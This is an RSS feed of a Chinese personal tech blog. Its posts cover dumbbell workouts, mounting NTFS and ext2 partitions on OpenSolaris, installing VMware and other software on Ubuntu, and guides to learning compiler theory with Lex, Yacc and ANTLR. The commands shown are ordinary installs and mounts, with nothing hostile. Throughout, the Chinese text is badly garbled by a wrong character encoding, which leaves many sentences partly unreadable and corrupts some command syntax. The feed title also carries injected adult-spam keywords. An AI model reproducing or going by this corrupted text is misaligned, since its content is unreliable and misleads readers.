??xml version="1.0" encoding="utf-8" standalone="yes"?>久久亚洲sm情趣捆绑调教,精品国产成人亚洲午夜福利,精品久久亚洲中文无码 http://m.tkk7.com/yjjlovewjf/JavaStudy--我爱?芛_ zh-cn Sun, 11 May 2025 11:45:20 GMT Sun, 11 May 2025 11:45:20 GMT 60 哑铃训练?/title> http://m.tkk7.com/yjjlovewjf/archive/2008/05/04/197952.htmlwǒ愛伱--咑֩ wǒ愛伱--咑֩ Sat, 03 May 2008 16:25:00 GMT http://m.tkk7.com/yjjlovewjf/archive/2008/05/04/197952.html http://m.tkk7.com/yjjlovewjf/comments/197952.html http://m.tkk7.com/yjjlovewjf/archive/2008/05/04/197952.html#Feedback 0 http://m.tkk7.com/yjjlovewjf/comments/commentRss/197952.html http://m.tkk7.com/yjjlovewjf/services/trackbacks/197952.html
别h则叫他巨人?br />
他拥有像露天电媄屏幕般宽大的背部Q像锤一L臂膀Q像?br />
甲一L胔RQ像|马甜瓜一L三角肌。尽他?0多岁了,但仍?br />
常健壮?br />
一ơ,一位当地的健美明星L访他Ӟ他正在马戉K训练Q奇
怪的是他的训l器械只有哑铃。就是说Q他完全是用哑铃l出qo人难
以置信的肌肉来的。其实,哑铃不是问题的关键,关键在于怎样使用?br />
铃。当Ӟ他不是每ơ训l把动作都练完,也不是每ơ训l把全n都练
遍。一般他选择2一3个动作组合,每个动作?一4l,每次l一个n?br />
部位。这U方法很好,下面介绍的就是他的练法?br />
一、哑铃划?br />
从侧面看。约的背肌臛_增厚?英寸Q?英寸Q?5.4毫米)?br />
正面看,他的背则像发怒的眼镜蛇的头部。这h亮的背肌是用哑?br />
划船l出来的Q因个动作能使他最大限度地伸展和收~背阔肌。他
一条腿屈膝攑֜凳上Q另一腿微屈,脚踩?英寸高的木台上,上体
前倾,力下放哑铃以牵拉背阔肌Q然后向上提拉哑铃,直至两手过
前倄上体。哑铃下放时最低点比一般h深,全程动作量固定肩部Q?br />
不其过分摆动,一l做8ơ?br />
二、斜卧飞?br />
仰卧在有一定斜度的凛_上做Q以充分伸展胸肌q胸肌得到?br />
全的刺激。做时双腿交叉,脚离圎ͼ以免弓背Q减pl效果。D到最
高点时哑铃不接触Q下落时肘部E屈。他_上飞时应惌q一个大
桶。唯此才能保证动作正无误。哑铃的重量是尽力只能D8一10ơ的
重量?br />
三、Ԓ卧夹?br />
q_凳上Qn体与凛__背的中上部接触凳面,头悬I,两脚
t地Q动作过E中双臂保持伸直。要注意呼吸Q哑铃由最低点向上丑֤
时呼气,哑铃由最高点下落时吸气。下落一定要充分Q要让哑铃落到几
乎触地。一l做20ơ?br />
四、俯w飞?br />
U翰说这是加宽肩部最有效的方法,每次训练肩部他都把这个动
作放在最前面Q因Z角肌后部最不容易练Q也最隄ѝ他把一块毛
巾放在一个半人高的凳子上Q用前额住毛巾。两臂微屈侧举,两时?br />
旋大拇指指向地面,丑ֈ肘部许过肩部Q然后慢慢下落还原。一
般做12一15ơ?br />
五、阿诺d上D
上D对于肩部肌肉像p对于股四头肌一样重要。他有时站立
上DQ有时坐姿推举,有时转肩推DQ这个动作是阿诺德前儿年倡导?br />
Q。注意,上体一定要保持正直Q最好后背有个自立支撑物或用带子?br />
定住Q目的是不肩部摇摆不稳?br />
q个动作比一般的哑铃上D难些Q故重量要稍轅R开始时掌心?br />
Ҏ铃于肩侧Q上举时手腕外旋Q到最高点时掌心朝前。这个动作的诀
H在于肘部,卌保持肘部垂直伔R。一l做6一12ơ?br />
六、俯w后?br />
他先做几l?0ơ小重量的热w练习,然后逐步增加重量Q减次?br />
。动作是上体前倾与地面qQ大臂贴紧体侧Q掌心相寏V以肘关?br />
uQD铃后伸,直D到时比背E高处,以׃头肌受到更大的刺Ȁ
。到背伸至极限Ӟ旋腕90度,以三头肌完全收紧。大重量?ơ?br />
七、Ԓ卧臂屈
仰卧q_上,双脚d腿交叉,头离凛_抬,双手握铃掌心相对Q?br />
大臂与躯q?5度角固定不动。做臂屈伸动作,6一12ơؓ一l?br />
八、斜板臂弯D
U翰_在动作过E中上臂不能d斜板Qƈ保证臂部充分伸展Q?br />
但不能过度,q是最要注意的?br />
两臂交替做,以便更集中注意力和提高肱二头肌的分离度。在?br />
举过E中二头肌始l处于收~状态,为此Q弯举时手臂不能肩大近Q?br />
否则二头肌会得到暂时休息Q降低训l强度。大重量每组?一7ơ,?br />
重量每组?2一20ơ?br />
九、拇指向上弯?br />
此动作是Z增加׃头肌的饱满度和肱肌的分离度。两手各?br />
一哑铃垂于体侧Q掌心相对,向上弯D一直保持掌心向内拇指向上的?br />
态。当哑铃举至胸前Ӟ转腕Q掌心向上。动作过E中上臂不动一
l做gơ?br />
十、单腿深y?br />
Z使大腿粗壮而漂亮,U翰lv了单腿深yӀ他不计ơ数Q但
每组不少?2ơ,最多达50ơ?br />
他用_的重量做q一l习Q注意力集中在动作的正确性和股四
头肌的感觉上。练习无间歇Q直臌四头肌生烧灼感。动作过E中?br />
意膝盖和脚拇保持在同一q面内,以免受伤。他一般下y至臀部低?br />
膝盖Q这h能大腿的Ş状更漂亮Q肌肉长得更快。站在凳上做Q
另一条腿自然下垂。两手体侧持铃,或将哑铃|于肩上?br />
十一、直腿硬?br />
q个l习是ؓ了增大背阔肌。站立,双手各持一哑铃于体侧,?br />
口相寏V上体前倾,同时旋臂使掌心正对腓骨,抬头Q膝微屈Q背部
充分伸展Q但无不舒服的感觉。然后。上拉哑铃,同时旋臂臌口相寏V?br />
每组?ơ?br />
上述十一个动作如能掌握好。你不去健n房也可以l出漂亮的肌
肉?br />
]]> solaris中挂?ntfs?/title> http://m.tkk7.com/yjjlovewjf/archive/2008/03/24/188375.htmlwǒ愛伱--咑֩ wǒ愛伱--咑֩ Mon, 24 Mar 2008 15:12:00 GMT http://m.tkk7.com/yjjlovewjf/archive/2008/03/24/188375.html http://m.tkk7.com/yjjlovewjf/comments/188375.html http://m.tkk7.com/yjjlovewjf/archive/2008/03/24/188375.html#Feedback 0 http://m.tkk7.com/yjjlovewjf/comments/commentRss/188375.html http://m.tkk7.com/yjjlovewjf/services/trackbacks/188375.html
=======================================================
This is the initial release of the fsmisc package that enables access to
NTFS and EXT2FS filesystems from OpenSolaris on x86 platforms.
Some of the code has been derived from the following project:
http://mount-ntfs.sourceforge.net/
HOW TO Install
--------------
1) Install the FSWpart package
Download http://www.belenix.org/binfiles/FSWpart.tar.gz
Uncompress: gunzip -c FSWpart.tar.gz | tar xvf -
Install: pkgadd -d . FSWpart
2) Install the FSWfsmisc package
Download http://www.belenix.org/binfiles/FSWfsmisc.tar.gz
Uncompress: gunzip -c FSWfsmisc.tar.gz | tar xvf -
Install: pkgadd -d . FSWfsmisc
Features
--------
Ability to mount NTFS and EXT2FS filesystems on primary as well as extended
partitions using the userland NFS server approach.
The ntfsprogs toolset from the Linux-NTFS project built for OpenSolaris. Allows
read/write access to NTFS primary partitions without having to mount it first.
The ntfsprogs toolset also provides a library for user programs.
The e2fsprogs toolset compiled for OpenSolaris.
Dependencies
------------
Needs the SUNWgccruntime package. This should be installed by default on
Solaris Express, or will be available on the install DVD.
Usage: Mounting EXT2FS
----------------------
To mount an EXT2FS partition you first need to identify logical device name of
the partition. Execute /usr/bin/prtpart without arguments to see the physical
device name of your harddisk. It will be of the form: /dev/rdsk/cNdNp0. This
will also display information about the entire partition table.
Note: For more info on prtpart execute prtpart -help
Now execute:
/usr/bin/prtpart /dev/rdsk/cNdNp0 -ldevs
to list out all the logical devices and the partition types. Your Linux
partitions will be listed as "Linux Native".
Now execute:
mount -F ext2fs <logical device name> <mountpoint>
to mount the EXT2FS partition.
Usage: Mounting NTFS
--------------------
As per the above description once you list out the logical device names using
"prtpart -ldevs", You will know the device name for the NTFS partitions.
Now execute:
mount -F ntfs <logical device name> <mountpoint>
to mount the NTFS partition
Usage: Displaying mount info and Unmounting
-------------------------------------------
Since these filesystems are mounted in a different way you need to execute:
/usr/bin/xlsmounts to see the detailed mount table info of these mounts.
The normal commands "df -h" and "cat /etc/mnttab" will only show partial NFS
related infomation.
Use "/usr/bin/xumount <logical device name>" or "/usr/bin/xumount <mountpoint>"
to cleanly unmount these filesytems. Just using umount will unmount the
filesystem but will not remove the background NFS server process.
Limitations
-----------
The approach used here uses a userland NFSv2 server to access filesystems on
raw partitions. So the NFS client in the kernel is used to access the server.
Thus the kernel's mount table always shows the filesystem as NFS and the device
as 127.0.0.1:/. You will need to execute "/usr/bin/xlsmounts" to see the real
detailed info.
Due to the same reason "/usr/bin/xumount" must be used to unmount the
filesystem and kill the NFS server.
The current implementation uses a minimal NFSv2 server and provides read-only
access. However the ntfsprogs utilities like: ntfsls, ntfscp etc. do provide
read/write access to NTFS partitions.
The NTFS mount implementation does not yet suport compressed NTFS volumes and
is a bit low on performance. However the ntfsprogs utilities can access
compressed volumes and perform well.
The bundled ntfsprogs utilities like: ntfsls, ntfscp etc. only operate on
primary partitions.
下面有中?的,转蝲的。。嘿?br />
安装Q?br />
1) Install the FSWpart package
Downloadhttp://www.belenix.org/binfiles/FSWpart.tar.gz
Uncompress: gunzip -c FSWpart.tar.gz | tar xvf -
Install: pkgadd -d . FSWpart
2) Install the FSWfsmisc package
Downloadhttp://www.belenix.org/binfiles/FSWfsmisc.tar.gz
Uncompress: gunzip -c FSWfsmisc.tar.gz | tar xvf -
Install: pkgadd -d . FSWfsmisc
主要命oQ?prtpart /dev/dsk/c0d0p0 -ldevs
输出 Q?br />
bash-3.00# prtpart /dev/rdsk/c0d0p0 -ldevs
然后Q?br />
bash-3.00# mount -F ext2fs /dev/dsk/c0d0p7 /mnt
搞定
]]> Ubuntu中安装VMware http://m.tkk7.com/yjjlovewjf/archive/2008/02/28/182615.htmlwǒ愛伱--咑֩ wǒ愛伱--咑֩ Thu, 28 Feb 2008 02:48:00 GMT http://m.tkk7.com/yjjlovewjf/archive/2008/02/28/182615.html http://m.tkk7.com/yjjlovewjf/comments/182615.html http://m.tkk7.com/yjjlovewjf/archive/2008/02/28/182615.html#Feedback 0 http://m.tkk7.com/yjjlovewjf/comments/commentRss/182615.html http://m.tkk7.com/yjjlovewjf/services/trackbacks/182615.html [Ubuntu 7.04]
众所周知Q用VMware Server可以在一台物理主Z创徏q同时运行多个虚拟主机,当然要想虚拟得好Q还是先升内存吧,如果内存,那么物理L变得很慢?br />
安装步骤
Step1.打开pȝl端Q输入如下命令:
$sudo su
q样拥有了root权限Q?br />
Step2.利用如下命o安装VMware Server必备的库文gQ?br />
$apt-get install libx11-6 libx11-dev libxtst6 xlibs-dev xinetd wget
$apt-get install linux-headers-‘uname –r’ build-essential(~译内核头文?
$apt-get install gcc binutils-doc cpp-doc make manpages-dev autoconf
automake1.9 libtool flex bison gdb gcc-doc gcc-4.0-doc libc6-dev-amd64
lib64gcc1
Step3.下面q需创徏一个目录,具体命o如下Q?br />
$mkdir /var/VMware
q个目录接下来会用到Q创个目录的主要是由于VMware默认的安装目录层U太深,不方便大家用?br />
Step4.
到[url=http://www.vmware.com/download/server/]http://www.vmware.com/download/server/
[/url]下蝲VMware的Linux版本Q最好是tar.gz源码压羃包格式,安装的时候就可以~译和安装了。此外,Ubuntu
7.04q可以通过新立得Y件管理器q行安装VMware?
]]> ubuntu 下安装Y件的三个Ҏ http://m.tkk7.com/yjjlovewjf/archive/2008/02/28/182614.htmlwǒ愛伱--咑֩ wǒ愛伱--咑֩ Thu, 28 Feb 2008 02:48:00 GMT http://m.tkk7.com/yjjlovewjf/archive/2008/02/28/182614.html http://m.tkk7.com/yjjlovewjf/comments/182614.html http://m.tkk7.com/yjjlovewjf/archive/2008/02/28/182614.html#Feedback 0 http://m.tkk7.com/yjjlovewjf/comments/commentRss/182614.html http://m.tkk7.com/yjjlovewjf/services/trackbacks/182614.html ubuntu提供了三UY件包理软gQ添?删除E序 Q新立得(Synaptic)软g包管理器Qapt-?
d/删除E序 是最?strong style="color: black; background-color: #ff66ff;">?/strong>软g包管理工P可以d/删除常用?/strong>应用E序Q你可以在应用程序菜单中扑ֈ该工兗?
新立得Y件包理器功能很强大Q可以很方便?/strong>安装/卸蝲/升?strong style="color: black; background-color: #ff66ff;">?/strong>软gQ你可以分类扑ֈ你要?/strong>软gQ右击选择标记以便安装/删除/升Q完成之后点dh?strong style="color: black; background-color: #ff66ff;">?/strong>应用Q就可以自动完成剩下?/strong>所有工作?
apt是一?a style="width: 20px; height: 20px; text-indent: 20px; background-repeat: no-repeat; background-image: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=anchor.gif);" name="baidusnap5">命o 行Y件包理工具Q可以输?strong style="color: white; background-color: #880000;">命o 来安?卸蝲软gQ常?strong style="color: white; background-color: #880000;">命o 有:
sudo apt-get install packagename /安装packagename
sudo apt-get remove packagename /卸蝲packagename
sudo apt-get update /获取?strong style="color: black; background-color: #ff66ff;">?/strong>软g列表
手工下蝲安装软g包:
如果在线库中没有你要?/strong>软gQ或是不方便直接上网Q也可以d它网站下载安装包?
对于后缀名ؓdeb?/strong>安装包最方便Q可以直接双击自动安装?
后缀名ؓbin?/strong>预编译包安装也比较方便,可以使用:
sudo ./packagename.bin
来安装,如果要求选择安装目录Q最好安装在/opt目录下,q是用来安装额外?/strong>软g?strong style="color: black; background-color: #ff66ff;">?/strong>目录Q将所有额?strong style="color: black; background-color: #ff66ff;">?/strong>软g包安装在同一目录下也方便对其q行理?
源码包,q是最ȝ?/strong>包,需要编译安装,解压包到一目录Q进入该目录执行
./configure
make
make install
如果没有成功Q最好去找deb?
]]> ~译原理学习D-作者四川大学唐?/title> http://m.tkk7.com/yjjlovewjf/archive/2008/02/26/182110.htmlwǒ愛伱--咑֩ wǒ愛伱--咑֩ Mon, 25 Feb 2008 16:36:00 GMT http://m.tkk7.com/yjjlovewjf/archive/2008/02/26/182110.html http://m.tkk7.com/yjjlovewjf/comments/182110.html http://m.tkk7.com/yjjlovewjf/archive/2008/02/26/182110.html#Feedback 0 http://m.tkk7.com/yjjlovewjf/comments/commentRss/182110.html http://m.tkk7.com/yjjlovewjf/services/trackbacks/182110.html
推荐参考书
虽然~译理论发展C天,已经有了比较成熟的部分,但是作ؓ一个大学生来说Q要自己写出一个像Turboc C,Java那样的编译器来说q是太难了。不仅写~译器困难,学习~译原理q门评也比较困难?br />
正是因ؓ~译原理学习相对困难Q那么就要求有好的教师和好的教材。教师方面不是我们能自己更改的,而在教材斚w我们却可以按自己的意愿来阅读。我下面推荐几本好的~译原理的教材。我推荐的书c都是国外的l典教材Q因为在国内的教材中Q确实还没发C么让人满意的?br />
W?一本书的原名叫《Compilers Principles,Techniques,and Tools?另外一个响亮的名字是龙书。原因是q本书的面上有条红色的龙,也因为獗臼樵诒嘁??×煊蛉肥堤 ??所以很多国外的学者都直接 取名为龙书。最q机械工业出版社已经出版了此书的中文版,名字叫《编译原理》。该书出的比较早Q大概是?5?6q编写完成的Q作者之一q是著名的贝 实验室的科学家。里面讲解的核心~译原理至今都没有变q,所以一直到今天Q它的h值都非凡。这本书最大的特点是一开始就通过一个实际的例子,把编?原理的大致内容罗列出来,让很多编译原理的初学者很快心里有了个?也知道ؓ什么会有这些理论,怎么q用q些理论。而这一Ҏ我感觉国内的教材~Z的东 西,所以国内的教材都不是写l愿意自学的读者,M让h看了半天Q却不知道里面的东西有什么用?br />
W二本书的原名叫《Modern Compiler Design?中文名字叫做《现代编译程序设计》。该书由人民邮电出版C所出。此书比较关注的是编译原理的实践Q书中给Z不少的实际程序代码,q有?多实际的~译技术问题等{。此书另外一个特点就是其“C”而字。在传统的编译原理教材中Q你是不可能看到如同Java中的“垃圾回收”{算法的。因?Javaq样的解释执行语a是在q几q才行h的东ѝ如果你x入学习编译原理的理论知识Q那么你肯定得看前面那本龙书Q如果你惌己动手做一个先q?的编译器Q那么你得看q本《现代编译程序设计》?br />
W三本书是很多国内的编译原理学者都推荐的那本《编译原理及实践》。或许是q本书引?国内比较早吧Q我记得我是在高中就Cq本书,不过也是在前D|间才把整本书看完。此书作为入门教E也的确是个不错的选择。书中给出的~译原理讲解也相?l致Q虽然不如前面的龙书那么深入Q但是很多地斚w是点Cؓ止,作ؓ大学本科教学已经是十分深入了。该书的特点是注重实践Q不q感觉还不如前面那本《现 代编译程序设计》的实践味道更重。此书的重点q是在原理上的实践,而非前面那本那样的技术实c《编译原理及实践》在讲解~译原理的各个部分的同时Q也?逐步实践一个现代的~译器Tiny C.{你把整本书看完Q差不多自己也可以写一个Tiny C了。作者还对Lex和Yaccq两个常用的~译相关的工兯行了很详l的说明Q这一点也是很隑֜国内的教材中看到的?br />
推荐了这三本教材Q都有英文版和中文版的。很多英文好的同学只喜欢看原版的书,不我的感觉是q三本书的翻译都很不错,没有必要特别M英文版的。理解理论的实质比理解表面的文字更ؓ重要?br />
~译原理的实?/strong>
前面已经说过Q学习编译原理其实也是学习法而已Q没什么特别的。只不过q些法的生已lŞ成了一套理论。下面我来看看编译原理里面到底有什么高q理论吧?br />
?乎每本编译原理的教材都是分成词法分析Q语法分析(LL法Q递归下降法QLR法Q,语义分析Q运行时环境Q中间代码,代码生成Q代码优化这些部分?其实现在很多~译原理的教材都是按?5,86出版的那本龙书来安排教学内容的,所以那本龙书的内容格式几乎成了现在~译原理教材的定式,包括国内的教?也是如此。一般来_大学里面的本U教学是不可能把上面的所有部分都认真讲完的,而是比较偏重于前面几个部分。像代码优化那部分东西,像个无底洞一P 如果要认真讲Q就是单独开一个学期的课也不可能讲得清楚。所以,一般对于本U生Q对词法分析和语法分析掌握要求就相对要高一点了?br />
词法?析相Ҏ说比较简单。可能是词法分析E序本n实现h很简单吧Q很多没有学q编译原理的Z同样可以写出各种各样的词法分析程序。不q编译原理在讲解词法 分析的时候,重点把正则表辑ּ和自动机原理加了q来Q然后以一U十分标准的方式来讲解词法分析程序的产生。这L做法道理很明显,是要让词法分析从程?上升到理论的地步?br />
语法分析部分比较麻烦一点了。现在一般有两种语法分析法QLL自顶向下法和LR自底向上法。LL法q好_ CLR法的时候,困难来了。很多自学编译原理的都是遇到LR法的理解成问题后就攑ּ了自学。其实这些东襉K是只要大家理解就可以了,又不是像词法 分析那样非得自己写出来才真正的会。像LR法的语法分析器Q一般都是用工具Yacc来生成,实践中完全没有比较自己来实现。对于LL法中特D的递归 下降法Q因为其实践十分单,那么应该要求每个学生都能自己写。当Ӟ现在也有不少好的LL法的语法分析器Q不q要是换在非Cq_Q比如Java, Delphi,你不能运用YACC工具了,那么你就只有自己来写语法分析器?br />
{学到词法分析和语法分析时候,你可能会出现q样的疑问: “词法分析和语法分析到底有什么?”׃~译器的角度来讲Q编译器需要把E序员写的源E序转换成一U方便处理的数据l构Q抽象语法树或语法树Q?那么q个 转换的过E就是通过词法分析和语法分析的。其实词法分析ƈ非一开始就被列入编译器的必备部分,只是我们Z化语法分析的q程Q就把词法分析这U繁琐的?作单独提取出来,成了现在的词法分析部分。除了编译器部分Q在其它地方Q词法分析和语法分析也是有用的。比如我们在DOS,Unix,Linux下输?命o的时候,E序如何分析你输入的命o形式Q这也是单的应用。MQ这两部分的工作是把不“规则”的文本信息{换成一U比较好分析好处理的数据l构?那么Z么编译原理的教程都最l把要分析的源分析{换成“?#8221;q种数据l构呢?数据l构中有Stack, Line,List…q么多数据结构,各自都有各自的特炏V但是Treeq种l构有很强的递归性,也就是说我们可以把Tree的Q何结点Node提取出来 后,它依旧是一颗完整的Tree。这一点符合我们现在编译原理分析的形式语言Q比如我们在函数里面使用函树Q@环中使用循环Q条件中使用条g{等Q那么就 可以很直观地表示在Treeq种数据l构上。同P我们在执行Ş式语a的程序的时候也是如此的递归性。在~译原理后面的代码生成的部分Q就会介l一U堆?式的中间代码Q我们可以根据分析出来的抽象语法树,很容易,很机械地q用递归遍历抽象语法树就可以生成q种指o代码。而这U代码其实也被广泛运用在其它?解释型语a中。像现在行的Java,.NETQ其底层的字节码bytecode,可以说就是这中基于堆栈的指o代码的?br />
关于语义分析Q?语法制导译Q类型检查等{部分,其实都是一U完善前面得到的抽象语法树的q程。比如说Q我们写C语言E序的时候,都知道,如果把一个QҎ直接赋值给一 个整敎ͼ׃出现cd不匹配,那么C语言的编译器是怎么知道的呢Q就是通过q一步的cd查。像C++语言q中支持多态函数的语言Q这部分要处理的问题?更多更复杂了。大部编译原理的教材在这部分都是讲解一些比较好的处理策略而已。因为新的问题L在发生,旧的办法不见得够解冟?br />
本来 _作ؓ一个编译器Qv作用的部分就是用戯入的源程序到最l的代码生成。但是在讲解最l代码生成的时候,又不得不讲解机器q行环境{内宏V因为如果你?知道机器是怎么执行最l代码的Q那么你当然无法知道如何生成合适的最l代码。这部分内容我自我感觉其意义甚至过了编译原理本w。因为它会把一个计机?E序的运行过E都通通排在你面前Q你来可能不会从事~译器的开发工作,但是只要是和计算Y件开发相关的领域,都会涉及到程序的执行q程。运行时环境?讲解会让你更清楚一个计机E序是怎么存储Q怎么装蝲Q怎么执行的。关于部分的内容Q我强烈大家看看龙书上的讲解Q作者从最基本的存储组l,存储分配 {略Q非局部名字的讉KQ参C递,W号表到动态存储分?malloc,new)都作了十分详l的说明。这些东襉K是我们编写^常程序的时候经常要做的 事情Q但是我们却去探求其内部是如何完成?br />
关于中间代码生成Q代码生?代码优化部分的内容就实在不好说了。国内很多教材到了这部分?会很单地走马观花讲过去,学生听了也只是作Z解,不知道如何运用。不q这部分内容的东西如果要认真Ԍ单独开一学期的课E都讲不完。在《编译原理及?c的书上Q对于这部分的讲解就恰到好处。作者主要讲解的q是一U以堆栈为基的指令代码,十分通俗易懂Q让人看了后Q很Ҏ模仿Q自׃来后可以写?q代码生成。当Ӟ对于其它代码生成技术,代码优化技术的讲解十分简单了。如果要仔细研究代码生成技术,其实另外q有本叫做《Advance Compiler Desgin and Implement?那本书现在由机械工业出版Cּq的Q十分厚重,而且是英文原版。不q这本书我没有把它列为推荐书l大Ӟ毕竟能把龙书的内Ҏ?楚,在中国已l就很不错的高手了Q到那个时候再看这本《Advance Compiler Desgin and Implement》也不迟。代码优化部分在大学本科教学中还是一个不太重要的部分Q就是算是实践过E中Q相信大家也不太q用得到。毕竟,自己做的~译?能正生成执行代码已l很不错了,q谈什么优化呢Q?br />
关于实践
~译原理的课E毕竟还只是讲解原理的课E,?是专门的~译技术课E。这两门评是有很大的区别的。编译技术更x实际的编写编译器q程中运用到的技术,而原理的译օ注讲解其基本理论。但是计机U学 本n是一门实跉|很强的评Q如果能够学以致用,那才叫真正的学会。李阛_讲解疯狂p的时候就说到Q只要当你会实际中运用一个单词一个词l的时候你?能叫学会了这个单词或者词l,而不是只是知道了它的拼写和意思。其实Q何学习都是一LQ如果缺了实践的结合,你不能算学会?br />
~译原理 的课E主要就是讲解编译器产生的理论和原理Q那么很单,自己写个~译器就是最好的实践q程了。不q你得小心,~译pȝ可能是所有Y件系l中最复杂的系l?之一,不然Z么大学里面还会把~译器的~写开成一门叫做编译原理的评来讲Q我很佩服那些学了操作系l原理就开始自己写操作pȝQ学了编译原理就开始自 己写~译器的ZQ确实,在中国,敢这么做的学生太了。且不管你这样做能不能做成功Q至有了这个尝试,会让你的E序设计Q系l规划安排的功底增进?。我下面l出一些关于实践过E中可能会遇到的困难Q希望能够在你陷入困境的前帮你一把?br />
1. Lex和Yacc. q两工具是作法分析很语法分析的工兗如果你自己写一个编译器Q我十分不徏议你q词法分析这U事情都亲手来写。Lex和Yacc应该是作为每本编译原 理的教材的必备内容,可是在国内的教材中缺很少看到。这两个工具是Unixpȝ下的东西,如果你要在Windows中运用,那么你最好去下在 cygwinq个软g。它是个在Windows下模拟Unix的东东,里面包含了flex.exe和bison.exe(yacc)q两个工?q两?工具使用hq挺ȝ?其实unix 下的很多十分有用的工具都是这?, 不过在《编译原理与实践》这本书上对于这两个工具的讲解十分详l?q列举了不少实际的例子?br />
2. 做解释型语言比做生成机器代码的编译器单。虽然说Q做解释型的~译器,像Java那样的,你还得自己去写解释器Q不q这样你׃必去查找机器代码的资?了。如果你做生成的最l机器代码编译器可能会遇到问题还有就是寄存器为基的代码生成方法。前面说q,如果你生成的是以堆栈为基的代码,那么其代码生?q程十分单,需要考虑的东西也不多Q如果你考虑最l的机器代码生成的话Q你必须考虑机器的寄存器如何分配{麻烦的问题?br />
3. 考虑用别人已l生成的语法文gQ尽量不要自己动手写词法文g和语法文?以前一个朋友曾l说q?写出一个好的程序语a的语法定?几乎完成了一个编译器 的一?实是这?语法文g的编写是个很隄事情.现在|上到处都可以找到比如C语言,C++,Java, Tiny C,Minus C{语a的词法文件和语法文g,你完全可以自׃下来来用.
在《编译原理及实践》的书中Q作者给Z一个Tiny C的全部代?我自我感觉作者的q个~译器做得很不错,相对于其它php,perl{语a的源代码来说,单得?Ҏ看懂,而且很清晰地展现了一个完成的~译pȝ的实现过E?其源代码可以在作者的|站上下?
后话
~译原理的学习可能算是一个困隄历程,特别是对于那些不对编译系l感兴趣的同学来?既然它已l作Z大学本科的必修课E?那么p明的它引甛_来的一套理论在整个计算机科学领域还是占有相寚w要的C.
如果我们考究一下历?׃发现很多被称为程序设计大师的人都是编译领域的高手.写出W一个微型机上运行的Basic语言的比盖?设计出Delphi的Borland?#8221;世界上最厉害的程序员”, Sun的J***A之父, 贝尔实验室的C++之父…
]]> 学习~译原理的相兛_?/title> http://m.tkk7.com/yjjlovewjf/archive/2008/02/26/182109.htmlwǒ愛伱--咑֩ wǒ愛伱--咑֩ Mon, 25 Feb 2008 16:34:00 GMT http://m.tkk7.com/yjjlovewjf/archive/2008/02/26/182109.html http://m.tkk7.com/yjjlovewjf/comments/182109.html http://m.tkk7.com/yjjlovewjf/archive/2008/02/26/182109.html#Feedback 0 http://m.tkk7.com/yjjlovewjf/comments/commentRss/182109.html http://m.tkk7.com/yjjlovewjf/services/trackbacks/182109.html ~译原理一般认为是较难的一门课.从网上的评论来看,有h说学了一q半软g理论,׃门编译看不懂;有h甚至说它是大本Y件课E里最隄一?有h抱怨国内的~译教材没有一本容易懂的?
从笔者学习实跉|?W一ơ学了一个多?理论部分一知半?W二ơ学了一星期,基本看懂词法分析的理论部?语法分析׃知半解了,W三ơ学了一星期,才基本看懂词法分析和语法分析.由此看来,q门评实有隑ֺ.|上有的帖子,把编译器的编写搞得高p一?g隑ֺ极大,非常?
~译原理I竟隑֜哪里?W者的体会,主要在这几点:
1.错误认识: 很多Z为编译原理只能应用在写程序语a的编译器?觉得用处不大,学习兴趣不高.而且可能觉得写编译器必d全手工来?
2.自动机理? 象NFA,DFA之类,比较抽象,要费些脑?特别如果学离散数学时没有学自动机理论的话,更是需要多q旉.
3.集合论的推演: 主要是一些闭包运之c?数学基础不好的话,学v来也会感到吃?
4.LR文法: 主要是又引入了自动机
不管哪本~译教材,即是绝对经?#8221;龙书”也不例外,都要涉及到这几个隄.׃q些内容本n不好?作者有再大的本?也很难把书写得象说那么畅好懂.
明确了难?接着惛_{?大致有这么几U?
1.端正认识: ~译原理在静态文本处理上有广泛的应用,举个单的例子,把HTML文g转化为纯文本,利用~译原理来实?#8221;非常”?理解了编译原理的实用?大概可以提高学习兴趣.
2.反复看书: q个办法看v来最W?却是基本的方?忘了是哪位名q?书只要多?总能看得懂的.
3.l合源码来看: q是l典教材Compiler Design in C的作者Allen Hollub的方?q本教材的特色就是包含了大段yacc,lex的代?q也是个好方?而且,只有看懂了代?才能说在Ҏ上理解了理论.当然,要完全看懂yacc的代?工作量是很大?而且同样要先理解理论.
4.删繁q,遉Kp.|上传较广的一《编译原理学习导论?作者四川大学唐?基本是q种思\,对于词法分析,作者避免了自动机理论和集合论推演的介绍,直接搬出源码?大大降低了理解难?对于语法分析,作者介l了递归下降和LL文法及相应的源码,而对LR文法,只说”理解理论可以了”.虽然q种Ҏ回避了对于难点的学习,但是用这U方法学?可以在较短时间内~写Z个能够运行的词法分析器和语法分析?可以大大提高学习U极?
W者的思\大体上类似第4U方?但也E有不同.׃一个偶然的原因, W者需要编写一个词法分析器和语法分析器,用于E序源代码的静态分?开始无从下?着头皮看了点编译原?觉得困难很大.后来偶然扑ֈ一个类似的开源程?是利用一个叫做PCCTS的编译器自动生成工具开发的,大受启发.开源就是好!W者找来了一个叫做ANTLR的工?它是PCCTS的新?支持生成java,c++和c#代码),又下载了一个c语言的语法文?因ؓW者需要处理c代码文g),然后自己~了量动作(action)语句,界面代码,分析处理代码{?p?在对~译原理所知甚?以前学过的因为理解不深都忘了,只记得正则表辑ּ)的情况下,仅用一个星期就写出了程?
q次实践使笔者对~译原理兴趣大增,重新又学了一遍编译原?q归U_W者认为比较实用有效的~译原理学习步骤:
1.先利用ANTLR之类的编译器生成工具,做一个小E序(如上面提到的HTML文g转化成纯文本文g的程?,所需知识只是正则表达式的基本知识和生成工hw的使用Ҏ(可以看联机帮助和|上教程(tutorial)来掌?. q样做的好处?
1)可以体会到编译原理的实用?提高学习兴趣
2)入门Ҏ,消除~译原理学习的畏难情l?
3)获得词法分析器和语法分析器的感性认?有利于加深对理论的理?
4)获得~译器自动生成工?compiler compiler)的用经?提高解决实际问题的能?(实际工作很多都不是手~而是利用工具?
2.象ANTLR之类的工h开?open source)?可研I其源码,以便必要时自己手~分析程?
3.回过头来看编译原理教? q时大概会发?很多理论很容易懂,剩下的只有上面说的几个难?多看几遍,重点H破.
4.l合教材所附源?q一步加深对教材的理?
q里Z提一?有的~译原理的教?对于输入子系l不单立一章来?有的甚至完全忽略,W者认? 输入子系l相对于词法分析器和语法分析器来说当然简单地?但也是两者的基础,故有必要看源码来理解.在这斚w,ANTLR的实现机制和Lex是不同的(当然和java与c的差异有?,可对照着?
